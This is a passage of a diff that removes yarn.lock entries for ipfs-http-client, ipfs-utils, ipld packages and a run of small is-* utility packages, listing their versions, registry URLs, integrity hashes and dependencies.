-  resolved "https://registry.yarnpkg.com/ipfs-http-client/-/ipfs-http-client-45.0.0.tgz#db2679ac5f91fcaa500a3eb78c8409bd30a13944"
-  integrity sha512-ccD2LCVYnSL0yANFQ2GboKV5RTk6Qi45T62Cz9S86qgKa8vw4AK8O30YncHOzbkbuCX1yRBkncYFktcDd/W/nw==
-  dependencies:
-    abort-controller "^3.0.0"
-    any-signal "^1.1.0"
-    bignumber.js "^9.0.0"
-    buffer "^5.6.0"
-    cids "^0.8.3"
-    debug "^4.1.0"
-    form-data "^3.0.0"
-    ipfs-core-utils "^0.3.0"
-    ipfs-utils "^2.2.2"
-    ipld-block "^0.9.1"
-    ipld-dag-cbor "^0.15.2"
-    ipld-dag-pb "^0.18.5"
-    ipld-raw "^5.0.0"
-    iso-url "^0.4.7"
-    it-last "^1.0.1"
-    it-tar "^1.2.2"
-    it-to-buffer "^1.0.0"
-    it-to-stream "^0.1.1"
-    merge-options "^2.0.0"
-    multiaddr "^7.4.3"
-    multiaddr-to-uri "^5.1.0"
-    multibase "^1.0.1"
-    multicodec "^1.0.0"
-    multihashes "^1.0.1"
-    nanoid "^3.0.2"
-    node-fetch "^2.6.0"
-    parse-duration "^0.4.4"
-    stream-to-it "^0.2.0"
-
-ipfs-utils@^2.2.2:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/ipfs-utils/-/ipfs-utils-2.4.0.tgz#113db5f5625b1bf0411a6d6dbd5317dfff5287f9"
-  integrity sha512-0RH8rMIEhrXyrbh87V8SQC6E6/5EJs+YionqZGAXnVoTzkpFhxC3x3FlsxwZ9s72yaieGP1Mx1tRYgfCFM/mJg==
-  dependencies:
-    abort-controller "^3.0.0"
-    any-signal "^1.1.0"
-    buffer "^5.6.0"
-    err-code "^2.0.0"
-    fs-extra "^9.0.1"
-    is-electron "^2.2.0"
-    iso-url "^0.4.7"
-    it-glob "0.0.8"
-    it-to-stream "^0.1.2"
-    merge-options "^2.0.0"
-    nanoid "^3.1.3"
-    node-fetch "^2.6.0"
-    stream-to-it "^0.2.0"
-
-ipfs-utils@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ipfs-utils/-/ipfs-utils-3.0.0.tgz#58f8345ff26c4ae6b4a8e3a2366bd25de3e1460e"
-  integrity sha512-qahDc+fghrM57sbySr2TeWjaVR/RH/YEB/hvdAjiTbjESeD87qZawrXwj+19Q2LtGmFGusKNLo5wExeuI5ZfDQ==
-  dependencies:
-    abort-controller "^3.0.0"
-    any-signal "^1.1.0"
-    buffer "^5.6.0"
-    err-code "^2.0.0"
-    fs-extra "^9.0.1"
-    is-electron "^2.2.0"
-    iso-url "^0.4.7"
-    it-glob "0.0.8"
-    merge-options "^2.0.0"
-    nanoid "^3.1.3"
-    node-fetch "^2.6.0"
-    stream-to-it "^0.2.0"
-
-ipld-block@^0.9.1:
-  version "0.9.2"
-  resolved "https://registry.yarnpkg.com/ipld-block/-/ipld-block-0.9.2.tgz#d6c702e3c4171ff44e0a7b76c21d337676599196"
-  integrity sha512-/i99foB+QI8WhyZWu6ZVPFw2sP6kzZSnnjPNlxxrgaJeFX22w2z00nYWafY2YYYP4mZ9xkLZDSS/msli7XXyvw==
-  dependencies:
-    buffer "^5.5.0"
-    cids "~0.8.0"
-    class-is "^1.1.0"
-
-ipld-dag-cbor@^0.15.2:
-  version "0.15.3"
-  resolved "https://registry.yarnpkg.com/ipld-dag-cbor/-/ipld-dag-cbor-0.15.3.tgz#283afdb81d5b07db8e4fff7a10ef5e517e87f299"
-  integrity sha512-m23nG7ZyoVFnkK55/bLAErc7EfiMgaEQlqHWDTGzPI+O5r6bPfp+qbL5zTVSIT8tpbHmu174dwerVtLoVgeVyA==
-  dependencies:
-    borc "^2.1.2"
-    buffer "^5.5.0"
-    cids "~0.8.0"
-    is-circular "^1.0.2"
-    multicodec "^1.0.0"
-    multihashing-async "~0.8.0"
-
-ipld-dag-pb@^0.18.5:
-  version "0.18.5"
-  resolved "https://registry.yarnpkg.com/ipld-dag-pb/-/ipld-dag-pb-0.18.5.tgz#29e736dcdab10a4dffbef9dec27723e2e56be962"
-  integrity sha512-8IAPZrkRjgTpkxV9JOwXSBe0GXNxd4B2lubPgbifTGL92rZOEKWutpijsWsWvjXOltDFHKMQIIIhkgLC5RPqbA==
-  dependencies:
-    buffer "^5.6.0"
-    cids "~0.8.0"
-    class-is "^1.1.0"
-    multicodec "^1.0.1"
-    multihashing-async "~0.8.1"
-    protons "^1.0.2"
-    stable "^0.1.8"
-
-ipld-raw@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/ipld-raw/-/ipld-raw-5.0.0.tgz#06624a9de7a4f5e0cdb3a4e05de3c5ab5bfbb0a8"
-  integrity sha512-z1Fie224lTtQZbFg+wC5WDY692G3SIpO8vT86yCU83vqpIvasVuV3SzDSv7G36kRxP03PPZOkvKAOFrcjb7gpw==
-  dependencies:
-    cids "~0.8.0"
-    multicodec "^1.0.1"
-    multihashing-async "~0.8.1"
-
-irregular-plurals@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/irregular-plurals/-/irregular-plurals-2.0.0.tgz#39d40f05b00f656d0b7fa471230dd3b714af2872"
-  integrity sha512-Y75zBYLkh0lJ9qxeHlMjQ7bSbyiSqNW/UOPWDmzC7cXskL1hekSITh1Oc6JV0XCWWZ9DE8VYSB71xocLk3gmGw==
-
-is-absolute-url@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-2.1.0.tgz#50530dfb84fcc9aa7dbe7852e83a37b93b9f2aa6"
-  integrity sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=
-
-is-absolute-url@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-3.0.3.tgz#96c6a22b6a23929b11ea0afb1836c36ad4a5d698"
-  integrity sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q==
-
-is-absolute@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-absolute/-/is-absolute-1.0.0.tgz#395e1ae84b11f26ad1795e73c17378e48a301576"
-  integrity sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==
-  dependencies:
-    is-relative "^1.0.0"
-    is-windows "^1.0.1"
-
-is-accessor-descriptor@^0.1.6:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6"
-  integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-accessor-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656"
-  integrity sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==
-  dependencies:
-    kind-of "^6.0.0"
-
-is-arguments@^1.0.4:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.1.0.tgz#62353031dfbee07ceb34656a6bde59efecae8dd9"
-  integrity sha512-1Ij4lOMPl/xB5kBDn7I+b2ttPMKa8szhEIrXDuXQD/oe3HJLTLhqhgGspwgyGd6MOywBUqVvYicF72lkgDnIHg==
-  dependencies:
-    call-bind "^1.0.0"
-
-is-arrayish@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
-  integrity sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=
-
-is-arrayish@^0.3.1:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.3.2.tgz#4574a2ae56f7ab206896fb431eaeed066fdf8f03"
-  integrity sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==
-
-is-bigint@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.0.2.tgz#ffb381442503235ad245ea89e45b3dbff040ee5a"
-  integrity sha512-0JV5+SOCQkIdzjBK9buARcV804Ddu7A0Qet6sHi3FimE9ne6m4BGQZfRn+NZiXbBk4F4XmHfDZIipLj9pX8dSA==
-
-is-binary-path@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898"
-  integrity sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=
-  dependencies:
-    binary-extensions "^1.0.0"
-
-is-binary-path@~2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
-  integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==
-  dependencies:
-    binary-extensions "^2.0.0"
-
-is-boolean-object@^1.1.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.1.1.tgz#3c0878f035cb821228d350d2e1e36719716a3de8"
-  integrity sha512-bXdQWkECBUIAcCkeH1unwJLIpZYaa5VvuygSyS/c2lf719mTKZDU5UdDRlpd01UjADgmW8RfqaP+mRaVPdr/Ng==
-  dependencies:
-    call-bind "^1.0.2"
-
-is-buffer@^1.0.2, is-buffer@^1.1.5:
-  version "1.1.6"
-  resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
-  integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==
-
-is-callable@^1.1.3, is-callable@^1.1.4, is-callable@^1.2.3:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.3.tgz#8b1e0500b73a1d76c70487636f368e519de8db8e"
-  integrity sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==
-
-is-ci@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/is-ci/-/is-ci-2.0.0.tgz#6bc6334181810e04b5c22b3d589fdca55026404c"
-  integrity sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==
-  dependencies:
-    ci-info "^2.0.0"
-
-is-circular@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-circular/-/is-circular-1.0.2.tgz#2e0ab4e9835f4c6b0ea2b9855a84acd501b8366c"
-  integrity sha512-YttjnrswnUYRVJvxCvu8z+PGMUSzC2JttP0OEXezlAEdp3EXzhf7IZ3j0gRAybJBQupedIZFhY61Tga6E0qASA==
-
-is-color-stop@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-color-stop/-/is-color-stop-1.1.0.tgz#cfff471aee4dd5c9e158598fbe12967b5cdad345"
-  integrity sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=
-  dependencies:
-    css-color-names "^0.0.4"
-    hex-color-regex "^1.1.0"
-    hsl-regex "^1.0.0"
-    hsla-regex "^1.0.0"
-    rgb-regex "^1.0.1"
-    rgba-regex "^1.0.0"
-
-is-core-module@^2.2.0, is-core-module@^2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.4.0.tgz#8e9fc8e15027b011418026e98f0e6f4d86305cc1"
-  integrity sha512-6A2fkfq1rfeQZjxrZJGerpLCTHRNEBiSgnu0+obeJpEPZRUooHgsizvzv0ZjJwOz3iWIHdJtVWJ/tmPr3D21/A==
-  dependencies:
-    has "^1.0.3"
-
-is-data-descriptor@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
-  integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-data-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7"
-  integrity sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==
-  dependencies:
-    kind-of "^6.0.0"
-
-is-date-object@^1.0.1:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.4.tgz#550cfcc03afada05eea3dd30981c7b09551f73e5"
-  integrity sha512-/b4ZVsG7Z5XVtIxs/h9W8nvfLgSAyKYdtGWQLbqy6jA1icmgjf8WCoTKgeS4wy5tYaPePouzFMANbnj94c2Z+A==
-
-is-descriptor@^0.1.0:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca"
-  integrity sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==
-  dependencies:
-    is-accessor-descriptor "^0.1.6"
-    is-data-descriptor "^0.1.4"
-    kind-of "^5.0.0"
-
-is-descriptor@^1.0.0, is-descriptor@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec"
-  integrity sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==
-  dependencies:
-    is-accessor-descriptor "^1.0.0"
-    is-data-descriptor "^1.0.0"
-    kind-of "^6.0.2"
-
-is-directory@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.yarnpkg.com/is-directory/-/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1"
-  integrity sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=
-
-is-docker@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
-  integrity sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==
-
-is-domain@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/is-domain/-/is-domain-0.0.1.tgz#7ffb288d5cced6b07c4f2df91c9be9153511348e"
-  integrity sha1-f/sojVzO1rB8Ty35HJvpFTURNI4=
-
-is-electron@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/is-electron/-/is-electron-2.2.0.tgz#8943084f09e8b731b3a7a0298a7b5d56f6b7eef0"
-  integrity sha512-SpMppC2XR3YdxSzczXReBjqs2zGscWQpBIKqwXYBFic0ERaxNVgwLCHwOLZeESfdJQjX0RDvrJ1lBXX2ij+G1Q==
-
-is-extendable@^0.1.0, is-extendable@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
-  integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=
-
-is-extendable@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-1.0.1.tgz#a7470f9e426733d81bd81e1155264e3a3507cab4"
-  integrity sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==
-  dependencies:
-    is-plain-object "^2.0.4"
-
-is-extglob@^2.1.0, is-extglob@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
-  integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
-
-is-fn@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-fn/-/is-fn-1.0.0.tgz#9543d5de7bcf5b08a22ec8a20bae6e286d510d8c"
-  integrity sha1-lUPV3nvPWwiiLsiiC65uKG1RDYw=
-
-is-fullwidth-code-point@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz#ef9e31386f031a7f0d643af82fde50c457ef00cb"
-  integrity sha1-754xOG8DGn8NZDr4L95QxFfvAMs=
-  dependencies:
-    number-is-nan "^1.0.0"
-
-is-fullwidth-code-point@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
-
-is-fullwidth-code-point@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
-  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
-
-is-function@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-function/-/is-function-1.0.2.tgz#4f097f30abf6efadac9833b17ca5dc03f8144e08"
-  integrity sha512-lw7DUp0aWXYg+CBCN+JKkcE0Q2RayZnSvnZBlwgxHBQhqt5pZNVy4Ri7H9GmmXkdu7LUthszM+Tor1u/2iBcpQ==
-
-is-generator-fn@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-generator-fn/-/is-generator-fn-2.1.0.tgz#7d140adc389aaf3011a8f2a2a4cfa6faadffb118"
-  integrity sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==
-
-is-glob@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-3.1.0.tgz#7ba5ae24217804ac70707b96922567486cc3e84a"
-  integrity sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=
-  dependencies:
-    is-extglob "^2.1.0"
-
-is-glob@^4.0.0, is-glob@^4.0.1, is-glob@~4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc"
-  integrity sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==
-  dependencies:
-    is-extglob "^2.1.1"
-
-is-hex-prefixed@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz#7d8d37e6ad77e5d127148913c573e082d777f554"
-  integrity sha1-fY035q135dEnFIkTxXPggtd39VQ=
-
-is-ip@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/is-ip/-/is-ip-3.1.0.tgz#2ae5ddfafaf05cb8008a62093cf29734f657c5d8"
-  integrity sha512-35vd5necO7IitFPjd/YBeqwWnyDWbuLH9ZXQdMfDA8TEo7pv5X8yfrvVO3xbJbLUlERCMvf6X0hTUamQxCYJ9Q==
-  dependencies:
-    ip-regex "^4.0.0"
-
-is-negated-glob@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-negated-glob/-/is-negated-glob-1.0.0.tgz#6910bca5da8c95e784b5751b976cf5a10fee36d2"
-  integrity sha1-aRC8pdqMleeEtXUbl2z1oQ/uNtI=
-
-is-negative-zero@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.1.tgz#3de746c18dda2319241a53675908d8f766f11c24"
-  integrity sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==
-
-is-number-object@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.0.5.tgz#6edfaeed7950cff19afedce9fbfca9ee6dd289eb"
-  integrity sha512-RU0lI/n95pMoUKu9v1BZP5MBcZuNSVJkMkAG2dJqC4z2GlkGUNeH68SuHuBKBD/XFe+LHZ+f9BKkLET60Niedw==
-
-is-number@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/is-number/-/is-number-3.0.0.tgz#24fd6201a4782cf50561c810276afc7d12d71195"
-  integrity sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-number@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/is-number/-/is-number-4.0.0.tgz#0026e37f5454d73e356dfe6564699867c6a7f0ff"
-  integrity sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==
-
-is-number@^7.0.0:
-  version "7.0.0"
-  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
-  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
-
-is-obj@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-1.0.1.tgz#3e4729ac1f5fde025cd7d83a896dab9f4f67db0f"
-  integrity sha1-PkcprB9f3gJc19g6iW2rn09n2w8=
-
-is-obj@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-2.0.0.tgz#473fb05d973705e3fd9620545018ca8e22ef4982"
-  integrity sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==
-
-is-path-cwd@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/is-path-cwd/-/is-path-cwd-2.2.0.tgz#67d43b82664a7b5191fd9119127eb300048a9fdb"
-  integrity sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==
-
-is-path-in-cwd@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-path-in-cwd/-/is-path-in-cwd-2.1.0.tgz#bfe2dca26c69f397265a4009963602935a053acb"
-  integrity sha512-rNocXHgipO+rvnP6dk3zI20RpOtrAM/kzbB258Uw5BWr3TpXi861yzjo16Dn4hUox07iw5AyeMLHWsujkjzvRQ==
-  dependencies:
-    is-path-inside "^2.1.0"
-
-is-path-inside@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-2.1.0.tgz#7c9810587d659a40d27bcdb4d5616eab059494b2"
-  integrity sha512-wiyhTzfDWsvwAW53OBWF5zuvaOGlZ6PwYxAbPVDhpm+gM09xKQGjBq/8uYN12aDvMxnAnq3dxTyoSoRNmg5YFg==
-  dependencies:
-    path-is-inside "^1.0.2"
-
-is-plain-obj@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-1.1.0.tgz#71a50c8429dfca773c92a390a4a03b39fcd51d3e"
-  integrity sha1-caUMhCnfync8kqOQpKA7OfzVHT4=
-
-is-plain-obj@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-2.1.0.tgz#45e42e37fccf1f40da8e5f76ee21515840c09287"
-  integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==
-
-is-plain-object@^2.0.1, is-plain-object@^2.0.3, is-plain-object@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/is-plain-object/-/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677"
-  integrity sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==
-  dependencies:
-    isobject "^3.0.1"
-
-is-plain-object@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/is-plain-object/-/is-plain-object-5.0.0.tgz#4427f50ab3429e9025ea7d52e9043a9ef4159344"
-  integrity sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==
-
-is-regex@^1.0.4, is-regex@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.1.3.tgz#d029f9aff6448b93ebbe3f33dac71511fdcbef9f"
-  integrity sha512-qSVXFz28HM7y+IWX6vLCsexdlvzT1PJNFSBuaQLQ5o0IEw8UDYW6/2+eCMVyIsbM8CNLX2a/QWmSpyxYEHY7CQ==
-  dependencies:
-    call-bind "^1.0.2"
-    has-symbols "^1.0.2"
-
-is-regexp@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-regexp/-/is-regexp-1.0.0.tgz#fd2d883545c46bac5a633e7b9a09e87fa2cb5069"
-  integrity sha1-/S2INUXEa6xaYz57mgnof6LLUGk=
-
-is-relative@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-relative/-/is-relative-1.0.0.tgz#a1bb6935ce8c5dba1e8b9754b9b2dcc020e2260d"
-  integrity sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==
-  dependencies:
-    is-unc-path "^1.0.0"
-
-is-resolvable@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-resolvable/-/is-resolvable-1.1.0.tgz#fb18f87ce1feb925169c9a407c19318a3206ed88"
-  integrity sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==
-
-is-root@2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-root/-/is-root-2.1.0.tgz#809e18129cf1129644302a4f8544035d51984a9c"
-  integrity sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==
-
-is-stream@^1.0.1, is-stream@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-  integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
-
-is-string@^1.0.5, is-string@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.6.tgz#3fe5d5992fb0d93404f32584d4b0179a71b54a5f"
-  integrity sha512-2gdzbKUuqtQ3lYNrUTQYoClPhm7oQu4UdpSZMp1/DGgkHBT8E2Z1l0yMdb6D4zNAxwDiMv8MdulKROJGNl0Q0w==
-
-is-symbol@^1.0.2, is-symbol@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.4.tgz#a6dac93b635b063ca6872236de88910a57af139c"
-  integrity sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==
-  dependencies:
-    has-symbols "^1.0.2"
-
-is-typedarray@1.0.0, is-typedarray@^1.0.0, is-typedarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
-  integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
